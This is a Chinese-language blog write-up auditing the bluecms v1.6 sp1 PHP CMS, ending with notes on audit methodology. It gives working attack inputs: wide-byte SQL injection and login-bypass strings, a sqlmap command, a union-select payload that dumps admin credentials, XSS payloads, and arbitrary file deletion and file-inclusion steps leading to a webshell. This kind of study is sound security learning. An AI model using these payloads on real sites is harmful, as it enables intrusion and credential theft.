zoukankan      html  css  js  c++  java
  • 2020/2/13 bluecmsv1.6sp1代码审计

    0x00 前言

    从今天开始审计一些小的cms,一周内至少审计一种,中间可能会写点别的有趣的东西

    0x01

    安装好后,看到登陆框,用万能密码打一发,无果,尝试重装,可以重装。有robots.txt

    看user.php,跟进
    include/common.inc.php

    if(!get_magic_quotes_gpc())
     {
        $_POST = deep_addslashes($_POST);
        $_GET = deep_addslashes($_GET);
        $_COOKIES = deep_addslashes($_COOKIES);
        $_REQUEST = deep_addslashes($_REQUEST);
     }
    

    发现一个过滤规则,这里先记一下,特定情况下绕过方法还是不少
    有一个点记下

      $sql = "INSERT INTO ".table('user')." (user_id,user_name,pwd,email,reg_time) VALUES ('','$username',md5('$password'),'$email','$timestamp')";
    
    

    这里没看到过滤,直觉有点问题,继续看login.php,里面就是常规验证

    require_once(dirname(__FILE__) . '/include/common.inc.php');
    

    跟进,

     require_once(BLUE_ROOT."data/config.php");
     require_once(BLUE_ROOT."include/cache.fun.php");
     require_once(BLUE_ROOT."include/common.fun.php");
     require_once(BLUE_ROOT."include/cat.fun.php");
     require_once(BLUE_ROOT."include/user.fun.php");
     require_once(BLUE_ROOT."include/page.class.php");
     require_once(dirname(__FILE__)."/common.fun.php");
    


    config.php看到了

    define('BLUE_CHARSET','gb2312');
    

    想到宽字节,记一下
    common.php中
    htmlspecialchars

    过滤了XSS

    0x02 SQL注入漏洞

    通读了一遍代码后简单黑盒测试了一下,先用Seay审计一下

    我们从注册开始看吧:
    问题代码处:
    正如开头直觉,这里邮箱处果然有问题:

    这里邮箱没有任何过滤,直接INSERT INTO插入

    这里我们bp主要是绕过前端检测
    我们这里同样存在sql注入漏洞,宽字节:
    邮箱处:

    %df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

    可以看到回显在数据库处

    注册处到此结束
    我们看登陆处:
    问题代码:
    这里是登陆验证代码:

    根据前面变量进入check_admin函数前已被转义一次,无论MAGIC魔术棒是否开启
    include/common.inc.php

    if(!get_magic_quotes_gpc())
     {
        $_POST = deep_addslashes($_POST);
        $_GET = deep_addslashes($_GET);
        $_COOKIES = deep_addslashes($_COOKIES);
        $_REQUEST = deep_addslashes($_REQUEST);
     }
    
    

    但问题出在这句上

    看到gbk,想到宽字节,万能密码再打一次;

    登陆

    user_name=admin777%d5%27%20or%201%3d1%23&pwd=123&x=35&y=18
    

    登陆成功
    这里的化sqlmap应该也可以

    python2 sqlmap.py -u "http://xxxx?id=1" --tamper unmagicquotes --dbs --hex
    

    使用16进制绕过单引号过滤
    我们这里再来看一个SQL注入:
    IP
    看代码:

    这里没看到对ip进行处理,跟进getip

    找到了定义的函数,这里有一个getenv,实际上就是获取系统的环境变量。
    第一个HTTP_CLIENT_IP这个环境变量没有成标准,很多服务器完全没法获取。
    第二个X-Forwarded-For这个东西可以通过HTTP请求头来修改。

    控制请求头中的X-Forwarded-For控制ip的传参,ip的传参会直接被拼凑到SQL语句
    继续跟进
    找到这么一行,

    $online_ip=getip();
    

    全局搜索:

    guest_book文件中发现
    一个评论功能,依旧是没有任何过滤,我们尝试对这个页面进行注入:

    回到留言页面可以看到数据库名出现了

    再来看一个SQL注入

    数值型注入

    缺陷文件:ad_js.php

    分析一下:
    首先ad_is我们可控,全局搜索后没看到对他的过滤!直接被拼接到了数据库中执行sql语句,根目录下其他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。。
    而且插入SQL语句时没用单引号,这就使我们可以直接注入了。
    payload:

    ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1
    

    得到管理员账号密码

    这里再列举几个相同原因造成sql注入,都是我们可以控制的变量直接拼接到sql语句
    我是先全局搜索一下,看看他到这里拼接过来有没有在其他地方被过滤。

    /admin/attachment.php

          $sql = "DELETE FROM ".table('attachment')." WHERE att_id = 
    ".$_GET['att_id'];
    
    
    

    $att_id直接接在后面,存在SQL注入漏洞

    /admin/nav.php

    $sql = "select * from ".table('navigate')." where navid = 
    ".$_GET['navid'];
    
          $nav = $db->getone($sql);
    
          $smarty->assign('nav',$nav);
    
          $smarty->assign('act', $act   );
    
          $smarty->display('nav_info.htm');
    

    $_GET['navid']直接接在后面,存在SQL注入漏洞

    /admin/ad.php

    $sql = "DELETE FROM ".table('ad')." WHERE ad_id = ".$ad_id;
    

    $ad_id直接接在后面,存在SQL注入漏洞

    0x03 XSS

    第一个XSS

    我们从注册开始看吧:
    问题代码处:
    正如开头直觉,这里邮箱处果然有问题:XSS

    这里邮箱没有任何过滤,直接INSERT INTO插入
    这里是一个存储型XSS

    这里我们bp主要是绕过前端检测

    第二个XSS

    user.php:
    问题代码处:

    $content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
    

    这里是一个评论功能,内容经过了filter_data函数过滤,我们追踪这个函数:
    function filter_data($str)

    
    {
    
          $str = preg_replace("/<(?)(script|i?frame|meta|link)(*)[^<]*>/", 
    "", $str);
    
          return $str;
    
    }
    

    可以看到他仅仅只用了一个正则匹配过滤,那么我们绕过方法太多了:
    抓包绕过前端检测:
    payload:

    <ScRipT>alert("XSS");</ScRipT>
    
    <p><img src=1 onerror=alert(1)></p>
    
    

    0x04任意文件删除:

    问题代码处:
    user.php:

    if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
    
                      @unlink(BLUE_ROOT.$_POST['face_pic3']);
    

    函数:

    这里就是POST传入一个文件判断,变量可控,输入的任意存在文件就删除。
    类似的:

    /admin/flash.php
    第62-63行存在未过滤变量$_POST['image_path2'],导致任意文件删除漏洞

    if(file_exists(BLUE_ROOT.$_POST['image_path2'])){
    
                      @unlink(BLUE_ROOT.$_POST['image_path2']);
    
                }
    
    

    还有很多就不列举了

    0x05 文件上传漏洞和文件包含漏洞getshell

    在/user.php第750行:

    elseif ($act == 'pay'){
    
          include 'data/pay.cache.php';
    
          $price = $_POST['price'];
    
          $id = $_POST['id'];
    
          $name = $_POST['name'];
    
          if (empty($_POST['pay'])) {
    
                showmsg('???????????????????');
    
          }
    
          include 'include/payment/'.$_POST['pay']."/index.php";
    
     }
    

    变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下
    这里我已经黑盒测试过成功上传图片马,我们看下上传处代码:

    upload.calss.php:

    function img_upload($file, $dir = '', $imgname = ''){
    
           if(empty($dir)){
    
                 $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
    
           }else{
    
                 $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
    
           }
    
                if(!in_array($file['type'],$this->allow_image_type)){
    
                 echo '<font style="color:red;">?????????????</font>';
    
                      exit;
    
           }
    
                if(empty($imgname)){
    
                 $imgname = 
    $this->create_tempname().'.'.$this->get_type($file['name']);
    
           }
    
           if(!file_exists($dir)){
    
                 if(!mkdir($dir)){
    
                       echo '<font 
    style="color:red;">????????§Õ????????</font>';
    
                            exit;
    
                 }
    
           }
    
           $imgname = $dir . $imgname;
    
    

    该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以我们能轻易上传一个图片马

    之后我们去包含就行了

    这里看到我们包含成功

    0x06 总结

    花了三天,这个cms基本审的差不多了,这也和自己一开始的目的相同,对于我这种初学者来说一开始并不能执着复现这个漏洞,而是要在审计过程中思考这个漏洞是怎么审计出来的,审计思路是最重要的。别人审计好的跟着复现一遍感觉就和抄作业一样。。有作用,但用处不大。
    我也不知道这样先读cms源码再审计对不对,先姑且试着吧。
    再来说一下下一个cms怎么审计:
    1:首先不能盲目,记住Web漏洞的本质:存在用户的输入
    应重点关注有输入点的页面,再去文件里找相关代码,不断回溯看看代码中有没有可控变量,过滤是否严谨。
    2:可以全局搜索一下危险函数,如:unlink,include,move_uploaded_file函数等
    查找相关漏洞可以去找关键字,如sql注入:
    全局搜索一下SELECT、UPDATE、INSERT、DELETE等关键字
    看看是否有预编译后再插入数据库。
    比如上传,可以搜索一下upload,看看他的过滤规则。
    多总结,多反思,先审计完再看网上文章,看看别的师傅怎么审计的,不断借鉴。

  • 相关阅读:
    【翻译】R 中的设计模式
    CLR 协变、逆变
    设计模式之工厂模式
    c# 浮点数计算问题
    WebAPI参数传值string转bool,int转bool相关问题
    CLR via c# 值类型“不可变”
    C# CLR via 对象内存中堆的存储【类型对象指针、同步块索引】
    c# 关于字段内存排序
    《拖拉一点也无妨》读后感
    .NET CORE 学习笔记之安装EF【Microsoft.EntityFrameworkCore】扩展报错
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12302978.html
Copyright © 2011-2022 走看看